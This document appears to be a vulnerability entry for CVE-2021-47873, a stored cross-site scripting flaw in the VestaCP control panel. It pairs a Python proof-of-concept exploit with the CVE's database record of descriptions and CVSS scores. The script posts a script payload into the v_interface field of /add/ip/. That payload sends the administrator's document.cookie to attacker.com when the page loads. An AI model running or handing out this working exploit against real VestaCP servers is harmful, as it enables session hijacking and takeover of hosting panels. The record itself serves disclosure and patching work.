CVE-2021-47873

import requests import sys # CVE-2021-47873 PoC - VestaCP Stored XSS in IP interface configuration # Target: VestaCP versions < 0.9.8-25 # Endpoint: /add/ip/ # Parameter: v_interface target_url = sys.argv[1] if len(sys.argv) > 1 else "http://target-vestacp:8083" # XSS payload - steals admin cookies xss_payload = '<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>' # Construct POST request to add IP with XSS payload endpoint = f"{target_url}/add/ip/" data = { "v_interface": xss_payload, "v_ip": "192.168.1.100", "v_netmask": "255.255.255.0" } try: print(f"[*] Sending XSS payload to {endpoint}") response = requests.post(endpoint, data=data, timeout=10) if response.status_code == 200: print("[+] XSS payload sent successfully!") print("[*] Payload stored in IP configuration") print("[*] When admin visits IP page, XSS will execute") else: print(f"[-] Request failed with status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}")

{"cve": {"id": "CVE-2021-47873", "sourceIdentifier": "[email protected]", "published": "2026-01-21T18:16:20.523", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "VestaCP versions prior to 0.9.8-25 contain a cross-site scripting vulnerability in the IP interface configuration that allows attackers to inject malicious scripts. Attackers can exploit the 'v_interface' parameter by sending a crafted POST request to the add/ip/ endpoint with a stored XSS payload."}, {"lang": "es", "value": "Las versiones de VestaCP anteriores a la 0.9.8-25 contienen una vulnerabilidad de cross-site scripting en la configuración de la interfaz IP que permite a los atacantes inyectar scripts maliciosos. Los atacantes pueden explotar el parámetro 'v_interface' enviando una solicitud POST manipulada al endpoint add/ip/ con una carga útil de XSS almacenada."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://myvestacp.com", "source": "[email protected]"}, {"url": "https://vestacp.com", "source": "[email protected]"}, {"url": "https://www.exploit-db.com/exploits/49662", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/vestacp-stored-cross-site-scripting", "source": "[email protected]"}]}}